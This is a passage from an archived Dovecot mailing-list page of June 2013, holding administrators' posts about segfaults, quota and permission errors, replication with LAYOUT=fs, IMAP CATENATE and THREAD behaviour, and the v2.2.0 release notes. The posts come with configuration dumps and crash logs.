bytes=20480000000 messages=0 May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota rule: root=User quota mailbox=Trash ignored May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota warning: bytes=15360000000 (75%) messages=0 reverse=no command=/etc/dovecot/quota-warning.sh 75 May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota warning: bytes=17408000000 (85%) messages=0 reverse=no command=/etc/dovecot/quota-warning.sh 85 May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: maildir++: root=/home/vmail/example.com/username, index=, control=, inbox=/home/vmail/example.com/username, alt= May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota root: name=User quota backend=maildir args= May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota rule: root=User quota mailbox=* bytes=1073741824 messages=0 May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota warning: bytes=805306368 (75%) messages=0 reverse=no command=/etc/dovecot/quota-warning.sh 75 ======================================================== Am I supposed to create the folders via an external script? Or is there any option to make this automatic. Regards, Joan

4 10

[Dovecot] dovecot segfaults after upgrade
by Thomas Blomenkamp 14 Jun '13

14 Jun '13

Using dovecot on debian oldstable (squeeze) with daily builded repository, after an upgrade this morning, dovecot always shows the following error: 2013 Jun 10 11:07:22 mailstore imap(tblomenk): Fatal: master: service(imap): child 3016 killed with signal 11 (core dumps disabled) Jun 10 11:07:22 mailstore kernel: [ 1589.400741] imap[3016]: segfault at 7fffd9048ff8 ip 00007f91417e2c3b sp 00007fffd9049000 error 6 in libdovecot.so.0.0.0[7f9141796000+bc000] Please notice: I can reproduce the error by trying to access my mailbox with alpine or mutt, while alpine only can access my inbox. If I try to access my other folders, the error happens. Mutt always closes the connection after trying to login. It is a little bit strange because with a newer client like roundcube I can access all my folders successfully. In all kernel error messages it seems that error 6 in libdovecot.so.0.0.0[7f9141796000+bc000] is always the same. Also notice that dovecot is still running, it is just that you cannot access other folders than your inbox with pine. mailstore:~# dovecot --version 2.2.2 (45399357008a) mailstore:~# dovecot -n # 2.2.2 (45399357008a): /etc/dovecot/dovecot.conf doveconf: Warning: service auth { client_limit=1000 } is lower than required under max. load (1324) doveconf: Warning: service anvil { client_limit=1000 } is lower than required under max. load (1227) # OS: Linux 2.6.32-5-amd64 x86_64 Debian 6.0.7 auth_debug = yes auth_gssapi_hostname = mailstore.math.uni-bielefeld.de auth_mechanisms = plain login auth_username_format = %n auth_verbose = yes lmtp_save_to_detail_mailbox = yes log_timestamp = "%Y-%m-%d %H:%M:%S " login_greeting = Hi, the IMAP Mail-System on mailstore.math.uni-bielefeld.de is ready. login_log_format_elements = user=<%u> method=%m rip=%r lip=%l %c mail_location = mdbox:~/mdbox mail_plugins = acl mail_privileged_group = mail managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave spamtest spamtestplus imapflags notify namespace { list = children location = mdbox:%%h/mdbox prefix = shared/%%u/ separator = / subscriptions = no type = shared } namespace inbox { inbox = yes location = mailbox Drafts { auto = subscribe special_use = \Drafts } mailbox Sent { auto = subscribe special_use = \Sent } mailbox Spam { auto = subscribe special_use = \Junk } mailbox Trash { auto = subscribe special_use = \Trash } prefix = separator = / type = private } passdb { args = /etc/dovecot/dovecot-ldap.conf driver = ldap } plugin { acl = vfile acl_shared_dict = file:/var/lib/dovecot/shared-mailboxes.db mail_log_events = delete undelete expunge copy mailbox_delete mailbox_rename mail_log_fields = uid box msgid size mail_log_group_events = no quota = maildir:User quota quota_rule = *:storage=0 sieve = ~/.dovecot.sieve sieve_dir = ~/sieve sieve_extensions = +imapflags +notify +spamtest +spamtestplus sieve_spamtest_max_value = 100 sieve_spamtest_status_header = X-PMX-Spam: \.*Probability=([[:digit:]]+)%+\.* sieve_spamtest_status_type = score } protocols = imap lmtp sieve service auth { unix_listener auth-master { mode = 0600 user = vmail } unix_listener auth-userdb { user = vmail } user = root } service imap-login { inet_listener imap { port = 143 } inet_listener imaps { port = 0 } process_limit = 1024 process_min_avail = 10 service_count = 1 } service imap { process_limit = 1024 } service lmtp { unix_listener /var/spool/postfix/private/dovecot-lmtp { group = postfix mode = 0660 user = postfix } } service managesieve-login { inet_listener sieve { port = 4190 } service_count = 1 vsz_limit = 64 M } ssl_cert = </etc/dovecot/mailstore_cert_chain.pem ssl_key = </etc/ssl/private/mcl_key.pem userdb { args = uid=vmail gid=vmail home=/var/vmail_san2/dovecot/%1Lu/%Lu driver = static } protocol imap { mail_plugins = acl imap_acl } protocol lmtp { mail_plugins = acl sieve } protocol sieve { mail_max_userip_connections = 50 managesieve_implementation_string = Dovecot Pigeonhole managesieve_logout_format = bytes=%i/%o managesieve_max_compile_errors = 5 managesieve_max_line_length = 65536 } Regards, Thomas

2 3

[Dovecot] IMAPC feature description
by Yonatan Broza 13 Jun '13

13 Jun '13

Hi, I couldn't find any decent documentation about the IMAPC feature. Could someone please explain the purpose of this feature? In particular, what are the differences between IMAPC and reverse proxying? Thanks.

2 1

[Dovecot] crash/mem violation in auth_worker + 50G logs in 2.1.7
by Mrten 13 Jun '13

13 Jun '13

Hi, This morning I discovered what seemed to be a deliberate crash in auth_worker: Jun 7 23:02:09 localhost dovecot: auth-worker: Error: #007Can't read dir of '/etc/mysql/conf.d/' (Errcode: 2) Jun 7 23:02:09 localhost dovecot: auth-worker: Error: Fatal error in defaults handling. Program aborted Jun 7 23:02:09 localhost dovecot: auth-worker: Error: *** glibc detected *** dovecot/auth worker: waiting for connection: free(): invalid pointer: 0x00007fffa0863160 *** Jun 7 23:02:09 localhost dovecot: auth-worker: Error: ======= Backtrace: ========= Jun 7 23:02:09 localhost dovecot: auth-worker: Error: /lib/x86_64-linux-gnu/libc.so.6(+0x7eb96)[0x7f22d42f9b96] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: /usr/lib/libmysqlclient.so.18(free_root+0x90)[0x7f22d37988c0] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: /usr/lib/libmysqlclient.so.18(free_defaults+0x4b)[0x7f22d3796e6b] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: /usr/lib/libmysqlclient.so.18(mysql_read_default_options+0x13c)[0x7f22d377d00c] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: /usr/lib/libmysqlclient.so.18(mysql_real_connect+0x8e)[0x7f22d377eb4e] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: /usr/lib/dovecot/modules/auth/libdriver_mysql.so(+0x1fc6)[0x7f22d3c52fc6] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: dovecot/auth worker: waiting for connection(+0x2be1d)[0x7f22d515be1d] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: dovecot/auth worker: waiting for connection(db_sql_connect+0xd)[0x7f22d514aedd] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: dovecot/auth worker: waiting for connection(+0x23d70)[0x7f22d5153d70] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: dovecot/auth worker: waiting for connection(passdb_init+0x2a)[0x7f22d515158a] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: dovecot/auth worker: waiting for connection(auths_init+0x59)[0x7f22d513dfe9] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: dovecot/auth worker: waiting for connection(main+0x345)[0x7f22d513d5f5] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xed)[0x7f22d429c76d] Jun 7 23:02:09 localhost dovecot: auth-worker: Error: dovecot/auth worker: waiting for connection(+0xd7d9)[0x7f22d513d7d9] There follows a memory map but I snipped that. This repeated until I killed dovecot (12 hours later), by then 54GB of logs had accumulated. Besides leaving me impressed with the logserver :), I was wondering if this is a known problem. I don't know what triggered this at 23:02 (shown above is the first set of problem logentries). Can't really have been an upgrade, since I backported the raring dovecot Ubuntu package for my precise server, no automated upgrades there. I did go look for the /etc/mysql/conf.d directory mentioned, it wasn't there, but there was a /etc/mysql/my.cnf trying to !includedir it. Since there is no mysql on the server besides libmysqlclient I removed the directory and haven't seen the problem return yet. Sounds like the reason for happening, however, the memory error after that probably warrants research? If it is in libmysqlclient, that's another non-default snag because that's the lib I get from Percona, not the Ubuntu default one. Shouldn't dovecot recognize that the auth worker is crashing? One more thing, this is (one line from many) from audit.log (I have auditd logging audit records) type=ANOM_ABEND msg=audit(1370682566.377:3499876): auid=4294967295 uid=108 gid=115 ses=4294967295 pid=23187 comm="auth" reason="memory violation" sig=6 108 is the dovecot user, so it probably is related. I realise I'm way off defaults here but I wanted to report anyway. (dovecot -n attached) thanks for any insight, Maarten.

2 2

[Dovecot] CATENATE/literal8 issue
by Michael M Slusarz 13 Jun '13

13 Jun '13

Using 2.2.2, I see this: C: 6 APPEND "INBOX" (\seen) "16-May-2013 22:05:14 -0600" CATENATE (URL "/INBOX;UIDVALIDITY=1255685337/;UID=48812/;SECTION=HEADER" TEXT ~{40} S: 6 NO [UNKNOWN-CTE] Binary input allowed only when the first part is binary. Why is there this limitation? It seems to me that CATENATE is confusing the content-type encoding of the data/part itself with the encoding of the IMAP literal. A literal 8 is nothing more than a series of OCTET's that *may* contain nulls, but not necessarily. i.e., in the above example the 40 octets of data are US-ASCII text, which is perfectly acceptable to send as a literal8. (Client rationale: If BINARY exists on the server, we don't bother to scan IMAP literal's for null data -- we just send them as literal8's. It's an optimization that I would hate to get rid of.) michael

2 8

[Dovecot] Replication and LAYOUT=fs
by Simon Fraser 13 Jun '13

13 Jun '13

Hello folks, I have a problem with replication and mail_location with LAYOUT=fs set. If I set "mail_location = maildir:~/mail" (leaving out the :LAYOUT=fs), create and populate some mailboxes and subfolders, they all get replicated. If I start with a clean mail spool and LAYOUT=fs, I can create some new mailboxes and subfolders but only the inbox is replicated. Subfolders are ignored. The users are all in LDAP, and virtual, hence the generic mail_home format and mail_location being set. The userdb lookup has been told to return no attributes ("user_attrs = "), but I have also tried it with requesting 'home' and specifying a default of /mail/spool/%u in the userdb config. The service is perfectly functional as far as a mail client is concerned: it can access all the folders and messages it expects on the server that had them added. It's only the replication using LAYOUT=fs that seems to be troublesome. Here is `doveconf -n` for the first of the pair of servers (dcot1a and dcot1b). The configuration on the other is identical except for the hostname differences. Simon # 2.2.2: /mail/etc/dovecot/dovecot.conf # OS: Linux 3.2.0-27-virtual x86_64 Ubuntu 12.04.2 LTS disable_plaintext_auth = no doveadm_password = secret first_valid_uid = 100 mail_gid = dovecot mail_home = /mail/spool/%u mail_location = maildir:~/mail:LAYOUT=fs mail_plugins = notify replication mail_uid = dovecot namespace inbox { inbox = yes location = mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = separator = / } passdb { args = /mail/etc/dovecot/dovecot-ldap.conf.ext driver = ldap } plugin { mail_replica = tcp:dcot1b:12345 } protocols = imap lmtp service aggregator { fifo_listener replication-notify-fifo { mode = 0600 user = dovecot } unix_listener replication-notify { mode = 0600 user = dovecot } } service config { unix_listener config { user = dovecot } } service doveadm { inet_listener { port = 12345 } user = dovecot } service replicator { process_min_avail = 1 } shutdown_clients = no ssl_cert = </etc/ssl/certs/dcot1a-cert.pem ssl_key = </etc/ssl/private/dcot1a-key.pem userdb { args = /mail/etc/dovecot/dovecot-ldap.userdb.conf.ext driver = ldap } -- The Wellcome Trust Sanger Institute is operated by Genome Research Limited, a charity registered in England with number 1021457 and a company registered in England with number 2742969, whose registered office is 215 Euston Road, London, NW1 2BE.

2 2

Re: [Dovecot] Dovecot 2 + IMAP
by Alex Dubinin 13 Jun '13

13 Jun '13

12.06.2013 22:34, Michael Kliewe пишет: > Hello Alex, > you asked exactly the same question 5 days ago and already got the > answer (from 2 people). Why did you ask again, didn't you receive the > answers? Thank you for your answer. Yes, i didn't receive answer ((((

1 0

[Dovecot] post-login script and original remote ip in proxy mode
by Ibrahim Harrani 13 Jun '13

13 Jun '13

Hi, I am running dovecot on 3 qmail-ldap server backend. dovecot configured to use auth_pop3 wrapper for authentication. Users logins to the qmail-ldap pop3&imap pools randomly. If a user is mailhost is not the connected server, dovecot proxies the connection to the user mailhost. In this case, I can not get the original client IP address via post-logins script on user host. I see only the first connected server IP as $IP environment. Any idea to get original client IP in this setup with postlogin scripts? Thanks

2 1

[Dovecot] Question about directory hash function.
by Evgeny Basov 13 Jun '13

13 Jun '13

Hello, Timo. I have a question about %H in http://wiki2.dovecot.org/Variables : what the hash function uses for calculations and how to get this value manually? This is need for bypass way getting home directory. With best regards, Evgeny Basov.

2 1

[Dovecot] Permissions for mail_temp_dir directory
by Henrik Larsson 13 Jun '13

13 Jun '13

I recently upgraded from 2.1.16 to 2.2.2 and started to receive the following errors: imap(henrik(a)example.com): Error: stat(/var/db/dovecot/dovecot.imap.mail.example.com.16128.3209d13f842955c2) failed: Permission denied imap(henrik(a)example.com): Error: Temp file creation to /var/db/dovecot/dovecot.imap.mail.example.com.16128. failed: Permission denied imap(henrik(a)example.com): Error: stat(/var/db/dovecot/dovecot.imap.mail.example.com.16501.0ddff1dc93cdbe6a) failed: Permission denied imap(henrik(a)example.com): Error: Temp file creation to /var/db/dovecot/dovecot.imap.mail.example.com.16501. failed: Permission denied I didn't have these before the upgrade. The current permissions for the /var/db/dovecot directory is root:wheel 755. What would be the correct permissions for the mail_temp_dir directory? doveconf -n output --cut-- # 2.2.2: /usr/local/etc/dovecot/dovecot.conf # OS: FreeBSD 8.3-RELEASE-p3 amd64 auth_mechanisms = plain login digest-md5 cram-md5 first_valid_uid = 125 hostname = mail.example.com listen = * log_path = /var/log/dovecot mail_plugins = zlib mail_privileged_group = postfix mail_temp_dir = /var/db/dovecot managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace { inbox = yes location = prefix = separator = . type = private } namespace { hidden = yes inbox = no list = no location = prefix = INBOX. separator = . type = private } passdb { args = /usr/local/etc/dovecot/dovecot-sql.conf.ext driver = sql } plugin { fts = squat fts_squat = partial=4 full=10 sieve = ~/.dovecot.sieve sieve_dir = ~/sieve } postmaster_address = postmaster(a)example.com protocols = imap pop3 lmtp sieve service auth-worker { user = $default_internal_user } service auth { unix_listener /home/mail/postfix/private/dovecot-auth { group = postfix mode = 0660 user = postfix } } service lmtp { executable = lmtp -L unix_listener /home/mail/postfix/private/dovecot-lmtp { group = postfix mode = 0660 user = postfix } } ssl_cert = </etc/ssl/mail.example.com-chained.crt ssl_key = </etc/ssl/mail.example.com.key userdb { args = /usr/local/etc/dovecot/dovecot-sql.conf.ext driver = sql } protocol lmtp { log_path = /var/log/dovecot-deliver mail_plugins = zlib sieve } protocol lda { mail_plugins = zlib sieve } protocol imap { mail_plugins = zlib imap_zlib } --cut-- Best regards Henrik Larsson

2 1

[Dovecot] THREAD REFERENCES bug
by A.L.E.C 13 Jun '13

13 Jun '13

I found it on an ancient dovecot version, so it might be already fixed. Let's say I have a folder with 3 messages UID Subject Date 12 One 2013-06-09 11 Testmail 2013-06-10 14 Subject 2013-06-11 C: A0003 UID THREAD REFERENCES US-ASCII ALL S: * THREAD (12)(11)(14) Now I received a message with today's date (2013-06-12) with subject "Testmail" (the same as message with uid=11. The new message has uid=16. C: A0003 UID THREAD REFERENCES US-ASCII ALL S: * THREAD (12)((11)(16))(14) I expected 16 (or more likely 11 and 16) to be at the end of the result, after 14, i.e. (12)(14)((11)(16)). The problem for a user is when he has more messages in a folder. When user receives a new message sometimes (on subject duplicate) he will not see it because it will be somewhere in the middle of the result, but should be on top. -- Aleksander 'A.L.E.C' Machniak LAN Management System Developer [http://lms.org.pl] Roundcube Webmail Developer [http://roundcube.net] --------------------------------------------------- PGP: 19359DC1 @@ GG: 2275252 @@ WWW: http://alec.pl

2 2

[Dovecot] Dovecot 2 + IMAP
by Alex Dubinin 12 Jun '13

12 Jun '13

This is my first experience of the mail server. Set up a mail server from Postfix + Dovecot with the MySQL authorization. When you create a new user dovecot makes strange folder structure: the 'inbox' contains 'juncus', 'tash', 'sent' etc. ie 'sent' and other folders are subdir to the 'inbox'. How to make the imap folders 'sent', 'trash' and others were not affiliated? I have IMAP answer: . list "" "*" * LIST (\HasChildren) "." "INBOX" . OK List completed. No trash, no drafts, no other folder. All this folder included in INBOX (((( But I want (my clients wants): * LIST (\HasNoChildren) "." "Drafts" * LIST (\HasNoChildren) "." "INBOX" * LIST (\HasNoChildren) "." "Trash" * LIST (\HasNoChildren) "." "Sent" * LIST (\HasNoChildren) "." "spam" P.S. Sorry for my english. P.P.S. # dovecot --version 2.1.7 # dovecot -n # 2.1.7: /etc/dovecot/dovecot.conf # OS: Linux 3.2.0-4-amd64 x86_64 Debian 7.0 ext4 auth_debug = yes auth_debug_passwords = yes auth_verbose = yes auth_verbose_passwords = plain base_dir = /run/dovecot/ debug_log_path = /var/vmail/dovecot.log disable_plaintext_auth = no info_log_path = /var/vmail/dovecot.log lda_mailbox_autocreate = yes lda_mailbox_autosubscribe = yes listen = 213.7.204.34 log_path = /var/vmail/dovecot.log log_timestamp = "%Y-%m-%d %H:%M:%S " login_greeting = MAIL_DOMAIN_NAME IMAP server ready. mail_debug = yes mail_location = maildir:/var/vmail/%d/%n/Maildir mail_plugins = " quota" namespace inbox { hidden = no inbox = yes list = yes location = mailbox Drafts { special_use = \Drafts } mailbox Trash { special_use = \Trash } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } prefix = INBOX. separator = . type = private } passdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } plugin { quota = maildir:User quota quota_rule = *:storage=1G quota_rule2 = Trash:storage=+10%% quota_rule3 = Junk:storage=+10%% quota_rule4 = Drafts:storage=+10%% quota_warning = storage=95%% quota-warning 95 %u } postmaster_address = admin@ MAIL_DOMAIN_NAME protocols = " imap pop3" service auth-worker { executable = auth -w unix_listener auth-worker { group = mode = 0600 } } service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0660 user = postfix } unix_listener auth-master { group = vmail mode = 0600 user = vmail } unix_listener auth-userdb { group = mode = 0600 user = } user = root } service dict { unix_listener dict { group = mode = 0600 user = } } service imap-login { inet_listener imap { port = 0 } inet_listener imaps { port = 993 ssl = yes } process_min_avail = 0 service_count = 1 } service imap { unix_listener login/imap { group = mode = 0666 user = } } service lmtp { unix_listener lmtp { group = mode = 0666 user = } } service pop3-login { inet_listener pop3 { port = 0 } inet_listener pop3s { port = 0 ssl = yes } } service pop3 { unix_listener login/pop3 { group = mode = 0666 user = } } ssl = required ssl_ca = </etc/dovecot/MAIL_SERVER_NAME-ca.crt ssl_cert = </etc/dovecot/MAIL_SERVER_NAME .crt ssl_key = </etc/dovecot/private/MAIL_SERVER_NAME .key userdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } verbose_ssl = yes protocol lda { auth_socket_path = /var/run/dovecot/auth-master log_path = /var/vmail/dovecot-deliver.log postmaster_address = admin@ MAIL_DOMAIN_NAME } protocol imap { mail_plugins = " quota autocreate imap_quota" }

2 1

[Dovecot] Permission denied / missing +r perm
by Andrew Crawford 12 Jun '13

12 Jun '13

I have postfix configured to deliver mail to dovecot over lmtp into a mailbox that then is accessed over imap. The imap server is running as the user "mail". Whenever I run "postfix flush" I get in mail.log: > Jun 12 05:37:45 li212-205 dovecot: lmtp(21288): Connect from local > Jun 12 05:37:45 li212-205 spamd[18173]: prefork: child states: II > Jun 12 05:37:45 li212-205 dovecot: auth-worker(21289): mysql(127.0.0.1): Connected to database mailserver > Jun 12 05:37:45 li212-205 dovecot: lmtp(21288, drew@REDACTED): zXAqF2lBuFEoUwAA5SnFYQ: msgid=<064C5BC7-357B-4366-9A80-5001DBA21F62@REDACTED>: saved mail to INBOX > Jun 12 05:37:45 li212-205 postfix/lmtp[21287]: 57BDA1CC932: to=<drew@REDACTED>, relay=li212-205.members.linode.com[private/dovecot-lmtp], delay=0.06, delays=0.01/0.01/0.01/0.03, dsn=2.0.0, status=sent (250 2.0.0 <drew@REDACTED> zXAqF2lBuFEoUwAA5SnFYQ Saved) > Jun 12 05:37:45 li212-205 dovecot: lmtp(21288): Disconnect from local: Client quit (in reset) > Jun 12 05:37:45 li212-205 postfix/qmgr[21244]: 57BDA1CC932: removed > Jun 12 05:37:45 li212-205 dovecot: imap(drew@REDACTED): Error: open(/decrypted-mail/awesomebox.sealedabstract.com/drew/cur/1371029865.M411… failed: Permission denied (euid=8(mail) egid=8(mail) missing +r perm: /decrypted-mail/awesomebox.sealedabstract.com/drew/cur/1371029865.M411903P21288.li212-205,S=2626,W=2673:2,, we're not in group 0(root)) > Jun 12 05:37:45 li212-205 dovecot: imap(drew@REDACTED): Disconnected: Internal error occurred. Refer to server log for more information. [2013-06-12 05:37:45] in=349 out=1084 Indeed, the file in question is owned by root and would not be accessible to the mail user: > ls -la /decrypted-mail/awesomebox.sealedabstract.com/drew/cur/ > total 24 > drwxrw---- 2 mail mail 4096 Jun 12 05:37 . > drwxrw---- 7 mail mail 4096 Jun 12 05:37 .. > -rw-rw---- 1 mail mail 2616 Jun 12 05:26 1371029196.M462737P20302.li212-205,S=2616,W=2662:2, > -rw-rw---- 1 mail mail 2635 Jun 12 05:32 1371029564.M454251P20747.li212-205,S=2635,W=2682:2, > -rw-rw---- 1 root root 2626 Jun 12 05:37 1371029865.M411903P21288.li212-205,S=2626,W=2673:2, So dutifully, I chown / chgrp to the mail user. But as soon as i receive a new mail, dovecot again creates files owned by root:root. How do I convince it to create files as mail:mail ? Diagnostic info: > $ dovecot --version > 2.1.7 > $ ps -aux | grep dovecot > root 20810 0.0 0.0 2892 984 ? Ss 05:34 0:00 /usr/sbin/dovecot -c /etc/dovecot/dovecot.conf > dovecot 20813 0.0 0.0 2620 940 ? S 05:34 0:00 dovecot/anvil > root 20814 0.0 0.1 2752 1072 ? S 05:34 0:00 dovecot/log > root 20818 0.0 0.2 4348 2524 ? S 05:34 0:00 dovecot/config > dovenull 21046 0.0 0.2 5248 2500 ? S 05:35 0:00 dovecot/imap-login > mail 21047 0.0 0.2 6392 2088 ? S 05:35 0:00 dovecot/imap > dovenull 21056 0.0 0.2 5248 2500 ? S 05:35 0:00 dovecot/imap-login > mail 21057 0.0 0.2 6752 2576 ? S 05:35 0:00 dovecot/imap > dovenull 21292 0.0 0.2 5248 2500 ? S 05:37 0:00 dovecot/imap-login > root 21293 0.0 0.1 4508 1044 ? S 05:37 0:00 dovecot/ssl-params > mail 21294 0.0 0.2 6540 2624 ? S 05:37 0:00 dovecot/imap > root 21400 0.0 0.0 4104 788 pts/0 S+ 05:51 0:00 grep dovecot > $ doveconf -n > # 2.1.7: /etc/dovecot/dovecot.conf > # OS: Linux 3.8.4-linode50 i686 Debian 7.0 fuse.encfs > auth_mechanisms = plain login > first_valid_uid = 0 > mail_location = maildir:/decrypted-mail/%d/%n > mail_privileged_group = mail > namespace inbox { > inbox = yes > location = > mailbox Drafts { > special_use = \Drafts > } > mailbox Junk { > special_use = \Junk > } > mailbox Sent { > special_use = \Sent > } > mailbox "Sent Messages" { > special_use = \Sent > } > mailbox Trash { > special_use = \Trash > } > prefix = > } > passdb { > args = /etc/dovecot/dovecot-sql.conf.ext > driver = sql > } > protocols = " imap lmtp" > service auth-worker { > user = mail > } > service auth { > unix_listener /var/spool/postfix/private/auth { > group = postfix > mode = 0600 > user = postfix > } > unix_listener auth-userdb { > mode = 0600 > user = mail > } > user = dovecot > } > service imap-login { > inet_listener imap { > port = 0 > } > } > service lmtp { > unix_listener /var/spool/postfix/private/dovecot-lmtp { > group = postfix > mode = 0666 > user = postfix > } > user = mail > } > service pop3-login { > inet_listener pop3 { > port = 0 > } > } > ssl = required > ssl_cert = </etc/ssl/certs/dovecot.pem > ssl_key = </etc/ssl/private/dovecot.pem > userdb { > args = uid=mail gid=mail home=/decrypted-mail/%d/%n > driver = static > } >

1 1

[Dovecot] v2.2.0 released
by Timo Sirainen 12 Jun '13

12 Jun '13

http://dovecot.org/releases/2.2/dovecot-2.2.0.tar.gz http://dovecot.org/releases/2.2/dovecot-2.2.0.tar.gz.sig Everything now seems to be stable and working in v2.2, so I can finally move onto developing great new interesting features for v2.3. :) My company has also launched a web shop where you can buy various products. One of them is cheap access to Dovecot enterprise edition repositories, which are basically same as regular Dovecot releases, except they are kept patched with the latest important bugfixes. We currently have releases for RHEL/CentOS 5 and 6, Debian Squeeze and Ubuntu 12.04 LTS. By buying Dovecot-EE you'll also get a 30 day demo license for object storages, if you want to try it out. http://shop.dovecot.fi/ * When creating home directories, the permissions are copied from the parent directory if it has setgid-bit set. For full details, see http://wiki2.dovecot.org/SharedMailboxes/Permissions * "doveadm auth" command was renamed to "doveadm auth test" * IMAP: ID command now advertises server name as Dovecot by default. It was already trivial to guess this from command replies. * dovecot.index.cache files can be safely accessed only by v2.1.11+. Older versions may think they're corrupted and delete them. * LDA/LMTP: If saving a mail brings user from under quota to over quota, allow it based on quota_grace setting (default: 10% above quota limit). * pop3_lock_session=yes now uses a POP3-only dovecot-pop3-session.lock file instead of actually locking the mailbox (and causing IMAP/LDA/LMTP to wait for the POP3 session to close). * mail_shared_explicit_inbox setting's default switched to "no". * ssl_client_ca_dir setting replaced imapc_ssl_ca_dir and pop3c_ssl_ca_dir settings. + Implemented IMAP MOVE and BINARY extensions + Implemented IMAP CATENATE, URLAUTH and URLAUTH=BINARY extensions (by Stephan Bosch). + Implemented IMAP NOTIFY extension. Requires mailbox_list_index=yes to be enabled. + Redesigned and rewritten dsync. The new design makes the syncing faster, more reliable and more featureful. The new dsync protocol isn't backwards compatible with old dsync versions (but is designed to be forwards compatible with future versions). + All mailbox formats now support per-user message flags for shared mailboxes by using a private index. It can be enabled by adding :INDEXPVT=<path> to mail location. This should be used instead of :INDEX also for Maildir/mbox to improve performance. + Improved mailbox list indexes. They should be usable now, although still disabled by default. + Added LAYOUT=index. The mailbox directories are created using their GUIDs in the filesystem, while the actual GUID <-> name mapping exists only in the index. + LMTP proxy: Implemented XCLIENT extension for passing remote IP address through proxy.

13 23

[Dovecot] Zlib plugin: changing compression save level
by Urban Loesch 11 Jun '13

11 Jun '13

Hi, I have running dovecot 2.1.15 with zlib plugin enabled and "zlib_save_level = 6" since about 2 years now without any problems. What happens if I now change the zlib_save_level to 9? Should that work without any problems, or become the current saved "*.m" files incompatible or unreadable? Thanks Urban

1 0

[Dovecot] Wait for interface to become available instead of dying?
by Sebastian Arcus 11 Jun '13

11 Jun '13

At the moment, if one of the interfaces specified with "listen=" in dovecot.conf is not up when Dovecot is started, then Dovecot just refuses to start. Is there an option to make Dovecot start anyway, and just use the interface when it becomes available? It is inconvenient to have Dovecot refuse to start during boot because some interface is temporarily not available. Then again, maybe there is some strong security reasoning behind the way Dovecot behaves at the moment?

4 8

[Dovecot] IMAP
by Jason Lock 10 Jun '13

10 Jun '13

We are using version 1.2.17 and recently are experiencing major issues with performance, which we believe have isolated to IMAP sessions. We have 3 servers running Dovecot, with a central store shared via NFS. Things have been running quite well for months now, with the latest issues appearing within the last week. As an experiment have 2 of the server running and only accepting POP3 connecitons no IMAP, and the 3rd server only accepting IMAP connections and no POP3. When the issue occurred today, stopping dovecot on the IMAP only server allowed POP3 to resume to normal operations 5-10 minutes later. Leaving IMAP disabled for a period of time (about 30 mins) and then re-enabling seemed to worked the first time. Subsequent times, the issue appeared shortly after re-enabling IMAP. Our webmail solution connects via IMAP, so when disabled this also impact clients using the webmail. Running only POP3 while IMAP is disabled we do not appear to have any issues. At this point, looking for any advice. We believe the number of devices utilizing IMAP has increased significantly for us, and whether or not a specific device is the cause we have not been able to determine. Anyone else experiencing a similar problem that appears related to IMAP?

2 1

[Dovecot] per user quota in mysql
by John Doe 10 Jun '13

10 Jun '13

Hello everybody, I have set up dovecot to use ldap authentication and it works great. I wonder if it is possible to use mysql for user quota and still keep my ldap authentication. Thank you!

2 2

[Dovecot] Man page: LGPL Version
by Oli Schacher 09 Jun '13

09 Jun '13

Hi Timo http://hg.dovecot.org/dovecot-2.2/rev/1f3f21081ee5 : man pages: Updated v2.1 -> v2.2 dovecot.1.in now references a inexistent "LGPLv2.2" instead of "LGPLv2.1"

2 1

[Dovecot] v2.2.2 (266101990d63) Core Dump
by Thomas Leuxner 09 Jun '13

09 Jun '13

==> /var/log/dovecot/dovecot.log <== Jun 9 09:58:26 spectre dovecot: lmtp: Fatal: master: service(lmtp): child 12635 killed with signal 11 (core dumped) This is another segmentation fault introduced in the current code. Please also look into fixing the other Core Dump I reported: http://www.dovecot.org/list/dovecot/2013-June/090795.html (gdb) bt full #0 0x00007f305d3df646 in buffer_append (buf=0x0, data=0x7fff92c0d218, data_size=0) at buffer.c:184 No locals. #1 0x00007f305d6bee16 in array_append_i (data=0x7fff92c0d218, array=0x1267448, count=<optimized out>) at ../../src/lib/array.h:148 count = 1 #2 mail_namespace_add_storage (ns=ns@entry=0x12673f0, storage=0x7fff92c0d218, storage@entry=0x126cb50) at mail-namespace.c:39 No locals. #3 0x00007f305d6c488d in mail_storage_create_full (ns=ns@entry=0x12673f0, driver=<optimized out>, driver@entry=0x7f305d7263a4 "raw", data=<optimized out>, flags=flags@entry=0, storage_r=storage_r@entry=0x7fff92c0d318, error_r=error_r@entry=0x7fff92c0d338) at mail-storage.c:397 storage_class = 0x7f305d95a560 storage = 0x126cb50 list = 0x1271800 list_set = {layout = 0x125b050 "none", root_dir = 0x125b048 "", index_dir = 0x0, index_pvt_dir = 0x0, control_dir = 0x0, alt_dir = 0x0, inbox_path = 0x0, subscription_fname = 0x7f305d72310d "subscriptions", maildir_name = 